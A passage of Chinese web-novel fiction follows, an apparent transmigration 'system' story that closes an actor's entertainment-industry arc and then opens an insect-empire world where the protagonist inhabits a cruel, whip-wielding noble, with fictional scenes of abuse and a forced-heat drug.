【都去给我看纯恨小情侣。】 【题材不算新颖,奈何剧情设计不错,主演表演精湛,能磕到!】 【h吗?(小声)】 【大黄丫头吃点清淡的吧,没有很刺激的镜头,好像听说拍了,但是没让放出来,大家可以蹲一蹲花絮。】 【我站硬汉攻和矜娇受。】 【那是,我们叶轶老师包攻的。】 【不不不,江遂不弱噢,看起来有点疯批的感觉,年下多爽啊。】 双陆CP的超话迅速成立,成功蹿红。 江林和剧组聚餐,回到酒店的时候,看到了意想不到的人,叶轶站在他门口,还戴着口罩,坚毅的眉眼带着丝丝忧愁和纠结。 “叶老师?你刚刚不是回去了吗?”江林打开邀请他进来,询问道:“是有什么事情吗?” 叶轶一言不发,门一关就是脱。 他外套下面就是一件单薄的背心,接着就开始脱裤子,江林微微挑眉,看向他的眼神变得莫名,见他沉默寡言的样子,玩味地勾了勾唇角,询问:“叶老师,你这是在干什么?” “”叶轶扯起一点唇角,“你喜欢当上面的还是下面的?” “我喜欢?”江林坐在沙发上,抽出一根烟来,“你这是为艺术献身呢?” 叶轶无所谓地说道:“你就当是吧。” 江林打火机的声音清脆地响起,视线从上而下打量着他精壮的身材,最后落在他略带屈辱的脸上,轻嗤一声,站起身来,围着他转了一圈,像是在打量什么商品。 位置在此刻像是调转了,江林也成为高高俯视的那一位。 江林夹着烟的手在叶轶肩膀上拍了拍,好奇地问:“你是因为被叶成哲欺压,恼羞成怒所以来我这里找回面子?让叶成哲生气?” “”叶轶没想到江林居然也知道这件事情。 “我认为男人之间解决问题的方式都是真刀真枪的、不连带他人的。”江林看着叶轶冷静的脸庞,又合理地怀疑:“所以是你找不到报复叶成哲的机会?” 叶轶眼神犀利地看着江林,他做出这种事情,一是,因为查证了江林的确是叶成哲在乎的人。二是,他依稀记得江林似乎曾经对他发射过某种信号。三是,他心中接受不了男人,但他好像对江林并不反感。 “我不是什么人都睡的,叶老师。”江林微微一笑,表示拒绝。 “我知道,你想要什么,我都”叶轶大概知道江林的个性。 江林打断他的话,“我现在想要的任何,都能凭借自己拿到。叶老师看在咱俩是同事的份上,利用我的事,只能做一次噢。” 叶轶便不说话了,重新一件一件穿好自己的衣服,自尊心在发烫发热。 江林随后体面和叶轶交流了一会儿,叶轶便走了,他在地下车库,等着叶成哲过来。 叶成哲脸色阴沉地赶过来,等待他的是叶轶的铁拳。 /// 后半夜,江林洗完澡准备睡了,还听见敲门声,他一打开门,就瞧见躺在他酒店门口的叶成哲,他还没失去意识,一双充血受伤的眼睛看着他,鼻腔淌出血,身上也全部都是伤。 他收到消息的时候很着急,所以没想到这是个圈套。 江林蹲下身看着他,掏出手机打120。 叶成哲却意识沉重地握住他的手腕,嗓音沙哑,断断续续问他:“你和他在一起了吗?” 他执着又努力地睁眼看着他,浑身是伤,骨裂多处,却只是偏执地想得到江林的答案。 江林通知了救护车后,才垂眼看着他,看着叶成哲的惨样,在他越来越失望和灰败的眼神中回答:“没有,我和他刚刚什么都没做。” 叶成哲咳嗽一声,直接呛出血来,肺腑钝痛,嘴角却勾起一抹笑容,双眼弯了弯,伸手抓住江林的裤脚,颇为艰难地说道:“真好。” 江林不知道他在开心什么,现在可能只是他心情不好所以才拒绝,也不代表他以后就会为他守身如玉。 他把小庄叫来守着他,自己冷漠地进了房间,似乎对于他死在自己门口也无动于衷 “系统,任务完成的进度如何?”江林突然开口问道,在叶成哲被救护车抬走之后。 “完成了百分之九十八,达到脱离世界标准。”系统沉默半晌,才回答他的问题。 “原来攻略值不需要达到百分百?”江林这才发现这个隐藏规则啊。 “理论上,只需要综合评价达到百分之九十就可以。” “噢,这样。” “宿主是否要现在脱离这个世界?”系统重新问了一遍。 江林沉默下来,第一次有了犹豫,若是他现在死在酒店里,媒体会怎么书写他的死亡,也许会说他是过劳死?毕竟几乎全年无休地进组拍戏。或者编造一大片的花边新闻,泼脏水造谣他的死亡。 也许以后网上会留下很多江林的谣言,毕竟他一直以来都有很多黑子。 他的粉丝会怎么样? 他死在她们最爱他的这一年。 一个美好又遗憾的结局。 江林却选择了拒绝:“继续留下。” “好的,现在给您抽离什么?”系统都有些惊讶江林的决定,他以前都是最快的手段最高的效率完成任务后离开。 江林却没回答他的问题,他留下不是为了别的,为了那群可爱的女孩。 /// 在国内最为权威的玉兰花电影奖,江林被提名了两年,第三年获得影帝的奖项,成为货真价实的影帝,还是最年轻的影帝。 江林黑色高贵材质的西装,脸上带着沉稳得体的笑,五官精致得像在另外一个图层,他握着话筒,拿着奖杯,发表着获奖感言:“谢谢主办方颁发给我的这个奖项,首先要感谢剧组的所有工作人员,没有工作人员的充分准备,这个电影达不到这样的效果,其次要感谢所有支持我的观众,是你们的爱将我高高捧起。” 他没有长篇大论,只是简单地说道:“以后会拍出更好的作品回馈给大家。” 他冷静得像不是第一次得这个奖。 台下,叶成哲微笑看着他,星光璀璨、熠熠生辉的江林,眼底仿佛有星星落下,仿佛天生应该待在聚光灯下,他轻轻为他鼓掌,虽然江林的眼神没有一刻落在他身上。 如果他是江林的粉丝大概会疯掉,24岁的影帝,是多么不可逾越的山峰啊。 但他是江林的爱人,只会更加疯狂,疯狂地迷恋着他。 粉丝的狂欢,屠了热搜榜。 【最年轻的影帝——江遂。】 【这些年江遂的CP。】 【细数江遂的高光。】 【江遂说爱意将我高高举起。】 【江遂穿搭。】 【江遂唯一一个集齐三大顶奢代言的神人。】 无数人想要他死,想要他塌房,好瓜分他的资源,但也有很多人在一直爱他。 生日直播的时候,有粉丝上麦问他:“会陪伴粉丝多久?” 江林戴着傻乎乎的生日帽,笑眯眯地说道:“只要粉丝还需要,我就会一直在。” 粉丝当场在麦上哽咽了,她不停地说:“我就知道你一定会成为大明星的,现在真的好厉害。” 江林安慰:“你们更厉害,没有你们,就不会有今天的我。” 这话不假,如果不是她们,他可能早就‘死’了 有一次综艺节目,让他给自己的爱人打电话,电话那头响起磁性的男声,当时全场哗然,没人敢相信,江林居然就这么水灵灵地出柜了。 电视播出,接到电话的白宝戎挺直了腰杆,说话看人都是用鼻孔。他不知道是江林顺手按了最近的通话记录。 叶成哲气得够呛,打电话骂了一顿蒋红,问她怎么能让江林在节目里说出这种话,倒是没敢给江林打电话。 那天晚上江林下戏,便看见门口停着低调的汽车,身边是明副部长身边的秘书,他笑着看着江林:“明部长,请您叙叙旧。” 江林挑了挑眉,坐进后车,询问明若卿:“明部长一把年纪还吃醋啊?” 明部长自然不可能承认,只是抱着江大明星的腰,淡淡说道:“只是很久没见你,有些想了。” “上周咱不是才见过吗?”江林亲了亲他的嘴唇,毫不犹豫地戳穿他。 明若卿也不恼怒,伸手摸了摸他的脑袋:“回家吧。” 江林赚的钱一半用于做慈善,一半回馈给了粉丝们。 他影视、综艺、代言等等全面开花,五年内便成为了旁人遥不可及的存在,随着他的爆火,很多蹭他热度的明星或者网红。 他被问及怎么看,大度地调侃:“娱乐圈起起伏伏很正常,谁也不能保证自己能够永远站在金字塔,我从前就是蹭热度上来的,那是我的来时路,我怎么会介意这些?” 他一向敢说,记者都不敢继续问了。 当时谁都不知道,江林真的会成为那个一辈子站在顶尖的男人,他仿佛常青树般,看着旁边的鲜花随着季节盛开又凋谢,自己屹立不倒。 有营销号说起他,只道:“我在娱乐圈看见过一个最帅的男人就是江遂不对,江林,现在人家已经改回自己的本名了。” “我从没见过他这么帅的,本人比电视剧或者电影里帅一百倍,一千倍。” “说起这个,上次我和江林老师合作,这么大的腕,脾气也很好,那些娱乐圈其他甩大牌的,和他比就是个屁。” “他的粉丝也是内娱独一份的牛” /// 江林在他28岁时获得大满贯,荣耀一世;在他31岁的时候和外国导演合作的电影,获得了三大国际电影奖项之一的柏林电影节金熊奖,自此江林火出国外,成为了国际巨星魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 “金斯利!你别碰我!我不会放过你的!”男人的怒吼声让人清醒。 江林挣眼便到了陌生环境, 他站在一个复古的房间里,眼前被锁着一个高大的男人,他脖子上和四肢都锁着铁链, 行动大大地受到了限制,但双眼血红抵触地看着江林。 江林旁边就有人高的镜子, 镜子里他穿着制式的马甲,白色的衬衣,掐着细腰, 黑色的中筒靴,仿佛贵公子般。 他一头黑色的微卷发, 露出白皙的后颈,眼睛也是幽黑的,手上拿着马鞭,是造成眼前男人身体上伤痕累累的工具。 他静静地看着身体高大的男人,他脖子冒出血丝,锁住他的铁链似乎还闪着闪电, 才能控制住他这个将近两米的男人。 “金斯利, 你这样残暴, 就算你的哥哥亚斯也保不住你” 见他还这么铿锵有力地骂人,江林反手一鞭子抽在他肩膀上, 顿时他闷哼一声, 咬牙不再说话。 江林停顿几秒,将脑海中系统的剧情接收完毕。 这是个类似星际的位面,人类早已经灭绝了上千年, 现在是虫族的社会,虫族分为雄虫、雌虫、亚雌虫等。 其中雌虫具有高大的体魄和强大的精神力,能够操控机甲, 也能成功兽化变成强大的战士,在塞纳帝国雌虫掌握着百分百的军事权和政治权。 而雄虫身体相比雌虫比较娇弱,没有那样健硕如同钢筋般的躯体,但雄虫有一项不可或缺的能力,就是能清理雌虫的精神污染,若是雌虫的精神污染达到一定的境界,便会发生不可逆的畸变,再也没有神智可言。 而百年前,雄虫是雌虫圈养的、用于舒缓雌虫精神力的血包和奴隶,当时雄虫的日子苦不堪言、如同猪狗,但后来雄虫开始进化觉醒了,除非雄虫自愿和愉快的时候才能进行精神进化。 社会地位又发生了翻天覆地的变化,雄虫的地位开始凌驾于雌虫之上,雌虫便成为打骂的对象 江林穿成了一只雄虫,别以为主神那老登是对他网开一面了,原主金斯利的性格暴虐,属于厌雌一派的激进者。他虽然是尊贵稀有的A级雄虫,却吝啬给雌虫精神疏导,甚至常常诱骗雌虫进行虐待和欺压。 而金斯利被帝国匹配了五只雌虫,匹配不代表婚姻,却是默认的亲密关系,只需要双方同意,立马就能进行婚姻。 金斯利只需要按时给另外五只雌虫进行精神净化就能使用它们的财产,但金斯利不稀罕,它有一只S级的上将哥哥。 所以金斯利以虐待这五只雌虫为乐,最后把自己玩死了,雌虫违反了雄虫保护条例,几只雌虫一起诱杀了他。 它的上将哥哥也发现作威作福的恶龙金斯利不是自己的亲生弟弟,所以对于五人的行为视而不见,甚至惩罚只是执行了五十鞭刑,要知道五十鞭刑对于雌虫来说并不是什么大不了的惩罚。 而江林这个结点,是被杀害的倒数一百天。 眼前的这只军雌是正在成年进化的雌虫,也是他匹配的五只雌虫之一伏恩的唯一亲弟弟乔治。 在原剧情中,金斯利绑架了他的弟弟,并且用试剂和仪器让他的精神力坍塌,原本乔治从A级进化为S级的体制,反而被折磨得从A级下降至了B级,这也让伏恩彻底恨上了原住金斯利,在百天后的反杀中出了不少力。 而此刻金斯利几乎已经把其他五位得罪光了,简而言之江林只需要等死就好。 可见老登主神这次的用心之险恶。 江林回神,看着眼前年轻强壮的雌虫乔治,只见他碧绿的眼睛里充满了仇恨,但四肢上却被带电机的锁链捆绑,导致他不能反扑眼前的雄虫。就算能够反扑,他也不敢的,因为伤害一只A级雄虫,可能他再也不能从军了,还会被军校退学 而原主为难乔治的原因是上次他的哥哥伏恩见到他,拒绝下跪 “果然是垃圾雌虫,这样的程度就受不住了?”江林手中拿着鞭子,戴着白手套的手臂交叉在一起,唇红齿白的脸上出现一丝鄙夷和不屑,他的身躯在高大雌虫身侧显得娇小,“你的哥哥伏恩可比你强多了,能接受更加强大的电流。” 乔治忍不住瞪圆了眼睛,朝着他跨步,下一秒电流顺着他的脚踝刺激着他的皮肉血肉以及骨骼,身体都冒出焦味,身后窜出一条金黑的尾巴,承受不住的痛苦,让他控制不住地兽化了 江林知道在几分钟后,伏恩就会军队找上门来,而此刻乔治的精神力极为衰弱,再过几分钟就会降到B级,因为这次原主的恶劣行为,他还会关上两个月的禁闭,他可没时间关禁闭。 而对雌虫精神力修复最好的方式就是雄虫的净化和治愈。 他对这些精神治疗极为陌生,从未穿越到这种位面,他犹豫了一瞬,也不敢解开乔治身上的枷锁,害怕雌虫的反扑,他的身体可挨不住全力的一拳。 所以只是隔着安全距离,回想着脑海中的知识,说是雄虫精神治愈雌虫是天生的,无须学习,而原主的等级更是帝国的瑰宝级别。 江林感觉到,一点精神触须似乎落在乔治身上,作为两人之间的桥梁和连接。 乔治敏锐地感觉到陌生的触感,瞬间让他警觉起来,整个人都汗毛竖起,大叫道:“你要干什么!?金斯利,不要不要我会撕碎你的!我一定会撕碎你!” 他看着眼前五官精致的少年,那双漆黑的瞳孔深邃泛着隐隐约约的蓝光,眉目微微一挑,似乎找到了什么东西,他释放了自己全部的精神力去碾压 乔治以为他想杀死他,用精神力杀死他,平时雄虫是没有这么大的强大攻击性的,但他的精神正在濒临崩溃,再遭受一点摧残就完蛋了。 乔治很快就无法思考了,顾不得身上锁链,脑海中仿佛屏蔽了痛苦,他四肢落在地上,双臂撑着地,双膝也如同四脚兽般跪着,宽阔的脊背上肌肉在抽搐着仿佛承受着极大的痛苦,而他低着的脑袋下表情有些微妙,眼神发直,张着的嘴角淌出口水 江林以为对他没影响,便又加大了精神力,顿时他直接倒在了地上,脸色泛着不正常的红色 没人告诉江林,深层净化疏导通常只能和亲密伴侣之间进行。 第102章 江林来不及查看倒在地上雌虫的状况, 便被破门而入的众虫阻止了所有的动作,领头的雌虫碧眼金发,穿着白色的军装, 身躯高大,眼神从江林脸上扫过, 一闪而过的厌恶,很快在看见倒在地上的乔治后,表情瞬间凝固。 身后的医虫连忙冲上前, 电闸被关掉。 金发碧眼的雌虫伏恩,低沉的嗓音冷冽:“金斯利你对我弟弟做了什么嗯” 他质问的话没说完, 江林的鞭子便已经甩在他肩膀上,不顾众人的目光,拧着俊秀的眉头,保持着自己的暴娇凶恶形象,力道不足让S级的雌虫受伤出血,他扬了扬眉:“伏恩·查尔斯, 你用什么语气和我说话的?” 伏恩金黄的双眼迸射出怒火, 望着眼前样貌极好, 却性情暴虐的雄虫,如果不是因为帝国雄虫保护条例, 他一定会狠狠拧下他的脑袋。 江林见他闷不作声, 指着地上仿佛死狗般的乔治,红唇微微勾起:“你的弟弟差点死了,我刚刚救了他, 你身为他的哥哥不知感激,居然还敢责怪我?” 只见地上的乔治在轻微地抽搐着,双眼有些发愣, 浑身肌肉颤抖着,微微展露出自己的力量,他的意识并不清醒。 医虫见状大惊失色,看向伏恩:“伏恩少将,乔治他被精神标记了!” 江林听到这句话,很快反应过来精神标记是什么,那是雄虫对雌虫的标记,可以用于更好地清理和疏导精神污染,但这一般只存在于两个伴侣之间,相当于雄虫对雌虫标记上了自己的印记。 “什么!”伏恩金眸诧异,看向江林的眼神越发凶狠,几乎咬牙切齿,他上前一步,抓着江林的衣领,下一秒后面的军雌抱住他的胳膊,阻止他伤虫的行为。 在伏恩眼中,无异于自己的弟弟被人侵犯了! “少将!少将!千万不能干傻事啊!” 伏恩死死盯着下头有恃无恐的雄虫,他长得像朵帝国最艳丽的鲜花,但花汁是沁了毒的,手段毒辣无情,令人发指地冷血。 “伏恩,你敢打我吗?”江林红唇弯了弯,微微扬着下巴,那双漆黑的眸子微微弯起,抬手一巴掌甩在雌虫的脸上,“你这个废物。” 在帝国法律中明文规定,雄虫责骂鞭打雌虫,只会口头警告或者交付罚金,但雌虫清醒状况下伤害了高阶雄虫,轻则罢黜官职,重则关禁闭流放。 不对等的惩罚条例,让雄虫气焰越发猖獗。 “乔治不过是一只A级雌虫能得到他的标记是他的荣幸,你就是这么对待你的恩人的?”江林趾高气昂,脸上挂着残忍又恶劣的微笑,“再说了,被标记是什么大不了的事情吗?洗掉就好了。” 他说的这么云淡风轻,但洗掉雄虫对雌虫的标记,对于雌虫是一种剧大的伤害,稍有不慎危及脑域。 伏恩垂眼看着他,语气泛着冷意,却也低声笑了:“金斯利你最好永远祈祷自己有这么好的运气。” 他意味不明的威胁话语,让江林又想给他一巴掌了。 因为他说的不是假话,不久之后他的好运就消失殆尽,会被他们折磨致死。 伏恩松开他,转身抱起自己犹如丧家之犬的弟弟,眼底是沉重的悲痛,弟弟流着口水的样子,像个痴儿,时不时地痉挛着。 江林等他带着人离开,才恢复了面无表情的神态,这时传来匆匆的脚步声,一阵风似的啪一声跪趴在地上认错,“金斯利阁下,刚刚它们带着军队闯进来,我实在无力阻拦。” 眼前跪着的虫,也是一只雄虫,但却是伺候原主的低阶雄虫。 原主的是旧贵族,家族显赫,就算是虫侍也是尊贵的雄虫。 “起来,你也是个废物。”江林不耐烦地骂道,面色不善。 杰里浅棕的头发,还算清秀的脸庞,身材和江林差不多,他拍了拍膝盖的灰,他眼底带着如出一辙的怨恨:“那些雌虫欺人太甚,阁下就这么算了?” 江林打量着这个原主一手带出来的狗腿,他把玩着粗粝的鞭子,饶有兴趣地看着杰里,问:“那你觉得我该怎么办?” 杰里一愣,他只是按照平时的习惯问出这句话,从前的金斯利可不会询问他的意见,真要他说,他还真说不出一个方案来,平时都是阁下自己拿主意的,哪会听别人的。 “嘶,要我看,不如把伏恩抓回来鞭打一遍?再配以电击给他一点颜色瞧瞧?”杰里硬着头皮说着。 江林却把鞭子一扔,“无聊,它们雌虫皮糙肉厚,再重的鞭刑对于它们来说也不过是挠痒,没几天连疤痕都不见了,让我好好想想,该怎么办” 他一边说着,一边慢悠悠地走回房间。他住的地方仿佛古堡,深色的建筑,华丽的壁挂和幽幽的壁灯,走廊是红毯铺设的。 回到房间,挂着丝绸蓝色帷幔的大床,入眼瞧见偌大的钟表,以及旁边挂着的漂亮翅翼,呈金黄色,流光溢彩的美丽。那是雌虫的半截翅翼,更准确一点来说,那是伏恩的翅翼。 是原主亲手从他身上折下来的。 伏恩的翅翼在整个帝国出了名的漂亮,所以在第一次两人进行浅层精神疏导的时候,那时伏恩还是一只青涩的雌虫,受骗喝下药水,然后被斩断了翅翼,从此之后再也没人看见过伏恩少将那双漂亮的翅翼。 要江林说原主这虫那是坏事做尽,死有余辜,他造的孽罄竹难书,斩翅翼不过尔尔。 而现在给江林的最大问题是那些痛恨他的雌虫都是他需要攻略的人物啊。 /// “伏恩少将,是好消息,因为金斯利阁下的标记,让乔治的精神力得到稳固和进化。现在已经成功从A级进化成了S级的雌虫,这也算是不幸中的万幸了,他身上的伤并无大碍,只是乔治心理似乎受了一点刺激。”医生从治疗室走出来告诉伏恩这个结果,看得出来医生还是为伏恩高兴的。 但伏恩根本高兴不起来,那双原本如同太阳般耀眼的金色眼眸此刻却全然冰冷,没有因为弟弟的进化有半分喜悦,他清楚地知道,被金斯利标记并不是一件值得庆祝的事情。 他的光脑传来视频通讯,他抬手滑动了接听按钮,光脑出现透明的人物,一双血色的眼睛和黑长的头发,黑金的军装,对方勾起玩世不恭的笑,似乎还带着点玩味的语气:“听说你的弟弟乔治被我们尊贵的阁下标记了?恭喜恭喜啊。” 伏恩的脸色冷了些,面无表情地说道:“与其在这里幸灾乐祸,不如想想你回来之后怎么逃脱金斯利的鞭打,他可是对你的擅自出兵很不满。” 对面的雌虫名为诺里斯,也是帝国匹配给金斯利的雌虫之一,官位和他相当不过并不是同一个部门。 没人能逃脱金斯利的魔爪。 说完,伏恩挂掉了诺里斯的通讯,放下狠话:“希望你下次回来的时候还能笑得出来。” 伏恩进入病房,已经清醒的乔治正在看着某处发呆,正看见进来的哥哥时眼神才出现实质凝神,扯出一点笑容,“兄长,我进化了!” 他的强颜欢笑伏恩怎么看不出来,只是并不拆穿,揉了揉弟弟的头发,心痛难忍却还要微笑:“乔治真厉害,很快你就从军校毕业了,你从前想去陆战队,以后” “兄长,我不想去陆战队了,我想留在帝都”乔治说出这话的时候,伏恩脸上诧异了一瞬,留在帝都代表着不再上前线战场,但乔治从小的梦想就是能够成为一名真正的战士。 “为什么?”伏恩询问道。 乔治强忍着情绪,最终情绪崩溃了,他扑进兄长怀里,“对不起,兄长,我被您的雄虫标记了我是不是一辈子都离不开他了,如果他控制我做坏事怎么办?我不能再继续参军了” 他年纪小,对于自己突然被标记表示恐慌,课本中有说道,高级的雄虫甚至能通过精神标记影响对方的情绪,甚至历史上有过一例雌虫被雄虫精神控制的案例,虽然是上千年只有一例,却也足够让这个毛头小子草木皆兵。 “没事的,乔治,我们可以洗掉标记,虽然有些痛苦,但都是值得的,没关系,兄长会为解决好所有的麻烦。”伏恩眼神闪烁着寒光,抚摸着弟弟的头颅。 /// 萨那帝国内,政治上层议会阁,由上百家贵族占据,其中以四家旧贵族、六家新贵族为首,其中虫帝是最高权力的象征,但重要官职的任免都需要通过议会决议。 而议会又受到检察官的监督,具有罢免权,检查官又隶属虫帝,三权鼎立制衡。 其中金斯利匹配到了五只雌虫,三只在任的高级军官,一只议会重臣,一只检察官要员,可以说是要素齐全,一锅乱粥。 而他自己也是贵族中的一员,甚至还是帝国唯三A级雄虫的其中之一。 他受到A级雄虫朱利安的邀请,去观看他驯服雌虫的“高超技术”,这是他们这些雄虫的乐趣之一。 “听说这次朱利安阁下向虫帝赐婚,这只雌虫是今年贝尔坦海域战争中表现杰出军雌,回国后荣获军功,然后给他赐婚朱利安阁下,也算是事业家庭双丰收了。”杰里把听到的八卦分享给江林。 江林却没什么表情,因为剧情中金斯利被关禁闭,偷偷跑出来参加朱利安的宴会。但朱利安玩得太过把那只桀骜不驯的雌虫玩死了,最终怕出事,还栽赃给了偷跑出来的金斯利,加大了对他的看管,之后再也没有机会溜出来了。 不要以为金斯利讨厌雌虫,就会喜欢雄虫。他对于朱利安这种脑子长在下半身那二两肉的蠢货也看不上,在心中只有他金斯利大王才是最厉害的。 “他就是个只会操雌虫的蠢货,恶心至极。”江林说出了金斯利对朱利安的评价。 杰里讷讷道:“那当然并不是谁都和阁下一样,不为卑鄙的雌虫们诱惑。” 江林闻言扬起了下巴,拿鼻孔看着他。 两虫到了朱利安的庄园前,虫来虫往,打扮精致的虫们依次由虫侍安排进入庄园,许多雄虫身边都带着自己的雌虫,大多雌虫均沉默寡言地待在雄虫身边,而雄虫则是微笑着,都是一副耀武扬威的模样。 江林和杰里的组合也是帝国头一份的,没有雄虫会愿意成为别虫的附庸,除了垃圾场出身的杰里。 听说是金斯利将他从垃圾场带回来的。 但大部分虫都对这个传言表示嗤之以鼻,金斯利居然会做好事?除非塞纳帝国要被敌军攻入了? 朱利安端着酒杯看向各位尊贵的雄虫来宾,远远就看见那张令他犯恶心的脸,只见金斯利一身金白的军装,竖领式的上衣,金色的纽扣镶嵌在前襟,穿着黑色的皮靴,中高的后跟底,眉眼间的神情也如同那高高在上的公子哥,带着三分讥笑。 朱利安和金斯利一般大,家世相当,从小被誉为帝国双子星,两人从读书开始就想争个你死我活,但后来传开的却是两人同样残暴糟糕的性格,雌虫们避之不及,又心向往之的A级雄虫。 “呦,我说为何我前面的光都晃眼,原来是我们金斯利阁下大驾光临。”朱利安朝着江林笑起来,端起旁边虫侍碟中的酒,朝着他走过去。 江林接过朱利安递过来的高脚杯,轻笑说道:“又是这种令人反胃的果酒,朱利安阁下的品味还是一如既往地差。” 朱利安脸色微变,微胖的脸上出现一丝愠怒,反手扇了旁边的虫侍一耳光:“你怎么敢给金斯利阁下准备这种酒呢?” 江林却又慢慢地喝了一口,大大方方地朝着众人对视,眼神在看见某个高大身影后,表情微微一顿,扬声道:“哈珀·贝尔。” 他的声音不算大,但足够耳目灵敏的雌虫听见,他僵直了一瞬,最终还是转身朝着江林走来。 雌虫穿着蓝色的礼服,肌肤呈现偏黑灰色,嘴唇略厚,眉眼英俊硬冷,一丝不苟的表情,身躯一米九几,他走到江林面前,微微低着头:“金斯利阁下。” “你什么时候回来的?”江林忽视了旁边的朱利安,打量着眼前的军雌,就算穿着厚重的礼服,依旧可以窥见他身材的健硕和挺拔。 “前两天。”哈珀毕恭毕敬的回答。 江林看着这只金斯利自认为调/教得最好的雌虫,明媚的表情骤然冷下来:“为什么不来见我。” 哈珀抿唇不语。 朱利安却大笑出声,“哈哈哈,大概是打了败仗,丢了脸,所以无颜面对帝国众虫吧?” 他得意地笑着,他身边的人是帝国今天的英雄,而江林身边的是如今帝国的败军之犬,他自觉面上有光。 但这次塔纳边境的战役的失败,并不能怪在哈珀身上,敌人有备而来,能够退守防线、保证边境大部分地区没有失守已是不易。 江林盯了哈珀两眼,突然朝着朱利安笑了笑,哈珀心中顿感不妙,下一瞬就听见这只恶劣的雄虫说:“即然朱利安阁下认为你能力薄弱,丢了帝国的脸面,不如这样,朱利安你身边这只雌虫就是虫帝赐给你的新雌君吧?” “让他和哈珀比一比,看看谁才是丢脸的那个如何?” 朱利安自然不会不同意,看向旁边冷着脸的雌虫,轻哼一声:“好啊,那阁下认为什么赌注才是更合适的选择呢?” 他们两人算是天之骄子,作下的结论几乎无人能够反驳。 “对方的雌虫怎么样?”江林话音落下,哈珀眉梢微微一动。 朱利安脸色却有些变化:“这是虫帝赐予我的雌虫,若是此刻交易” “那好吧,我只是开个玩笑而已。”江林随意的耸耸肩。 “这样吧,如果谁输了,以后见面主动朝对方弯腰下跪行礼。”朱利安盯着他看,这赌注可不小,他是知道此次哈珀回到帝都养伤,所以有恃无恐。 江林无所谓地说道:“好啊。” “我庄园设有武斗场,走吧,去看好戏。”朱利安笑眯眯地转身离开。 江林落后一步,和哈珀走近,他红唇微勾,幽黑的眼睛看着他:“哈珀有信心为我赢下这一局吗?” 哈珀恨不得看他出丑,只是沉声道:“我从战场下来旧伤未愈,可能没办法” “不不不,你一定会赢的。”江林打断他的话,什么话都没说,却又什么话都说了。 哈珀是平民出身,近十年来唯一一个平民出身的少将,被平民视作希望和星辰,就是这样一只虫从军校开始就是金斯利欺负,他看不起平民,再加不喜欢哈珀的耀眼,对他变本加厉地欺负,起初哈珀还会反抗,但在当家人和朋友都遭受迫害后,他就老实听话了。 哈珀闻言默默捏紧了拳头,牙齿轻轻咬紧。 观众已经就位,甚至还有人拿着光脑直播起来,平时看得雌虫斗殴,哪有看位高权重的军雌斗殴热血啊,那可是战场上厮杀出来的本事。 江林扫了一眼哈珀的对手,是一个蓝眼白发的白皮肤雌虫,他脸上有股淡淡的冷漠和麻木。 两虫对视一眼,都从对方眼中看出了荒谬和烦躁,但又不得不成为这群雄虫乐子。 开始动手的瞬间,似乎谁也没让着谁,出拳之利落,让没见过世面的雄虫发出一声惊呼,似乎能听见拳拳到肉的肌肉和骨骼的碰撞声,哈珀偏头朝着他面门袭来的拳头,无奈地道歉:“抱歉了,这场比赛我必须赢。” 江林看着哈珀的身手和蓝眼雌虫不相上下,打得有来有回,让观众过足了瘾,连连叫好。 杰里有些紧张了,趴在江林耳边问:“哈珀能赢吗?” 江林回答:“他不敢输。” 最后,哈珀偷袭获胜,蓝眼雌虫惜败,朱利安脸都气绿了,江林轻咳一声,歪头问他:“朱利安阁下,咱们的赌注还算数吗?这么多贵族看着的呢,您不会想赖账吧。” “我们塔利西贵族的脸面可不能由你丢掉。” 塔利西贵族特指旧贵族,从前的帝都在塔利西。 朱利安的不满只能生生咽下,他把所有的怨恨都发泄到蓝眼雌虫身上。 他邀请所有虫族来看的就是他驯化雌虫的盛宴。 他会在台上表演,直到雌虫主动褪去衣物跪在他脚下表示臣服,来彰显他威严和驯服雌虫的能力。 江林没记错的话,最后这次蓝眼雌虫是死了的,最后还嫁祸给了他。 朱利安脸色不善的将雌虫带到抬上,在众人期待的目光抽打着那只雌虫,那是特殊的鞭子,能够更久的留下疼痛,他低声骂着:“想你这样出身的贱种,就只配永远跪在地上,没有能力蠢货,让我丢尽了脸面!” 江林坐在底下喝着他嫌弃得要命的果茶,看着旁边的哈珀紧绷的身体和紧握的拳头,眉眼间带着凶狠的眼神,似乎因为自己的同类被鞭打和欺辱而感到气愤。 “嗨呀,嗨呀。你该庆幸最少我不会像朱利安这个蠢货一样,大庭广众之下让你脱光跪下吧,也算是给你留下了最后一点尊严,还不快谢谢我。” 哈珀被他这幸灾乐祸的语气气得够呛,实在说不出什么好听的话,选择把自己的牙根咬碎了,也没有蹦出一个字。 “无趣的哑巴。”江林听着皮开肉绽的声音,前面的雌虫直直地挺着背,犹如不会弯折的钢筋,雌虫的脸色却越来越难看了。 “好家伙,难怪会被玩死。”江林看着蓝眼雌虫的脸色微微挑眉。 哈珀也发现了不对劲,瞪大眼睛,震惊出声:“那是情潮期。” “不对,他是被强制进行的情潮期!” 雌虫的正常的情潮期就算没有雄虫的安抚也能平安度过,但如果是被注射了某种药物,被强制诱导进入情潮期,将会持续发/情,甚至可能如同猪狗般失去理智,没有雄虫的精神力安抚,极有可能精神力爆体而亡! 这些年很多雌虫都是死于这种药剂。 “不行!”哈珀想要站起来,江林伸手按住他的大拳头。 “你想干什么?想和他一样被带上台调/教吗?”江林看向他。 这是朱利安的庄园,戒备森严,哈珀就算武力不俗,也绝不可能单枪匹马带走雌虫,如果真让他带走了,朱利安的脸面还要不要了? “可是他会死的!”哈珀心中痛恨又悲哀,眼神沉痛无比。 江林却不冷不淡地说道:“死就死了,难道还要我救他?” 哈珀察觉到他语中的隐含意味,一愣:“你能救他吗?” 江林歪头看着他,弯唇笑了笑,明艳的眉眼绚烂:“我有什么好处吗?” 哈珀不知道要不要和魔鬼交易,金斯利不是一个值得他信任的人。 “再犹豫他就要被打死咯。”江林笑眯眯地说道。 “你想要什么?”哈珀咬牙道。 “你的骨翅,伏恩的金色翅翼挺孤单的,我觉得你的骨翅也不错。” 哈珀一怔,有过一丝犹豫,毕竟雌虫作战时,兽化后骨翅也是必不可少的大杀器,而且骨翅更是他身体的重要部分啊。 “好。”最终他还是沉声答应了。 “哇哦,你真是个好虫。”江林夸张地道。 第103章 眼见前方的蓝眼雌虫脸色越发难看, 哈珀见旁边的雄虫还在悠哉看戏,便重新说道:“我愿意舍弃骨翅,你救救他” “别着急。”江林视线打量着那血腥的驯化, 台上的雌虫有双湛蓝的眼睛,似蓄满了海水, 却冰冷又深邃,不敢反抗雄虫,便只能咬牙忍受, 高大的身躯跪在地上,除了脸上满是伤痕, 身上的肌肉紧绷暴起。 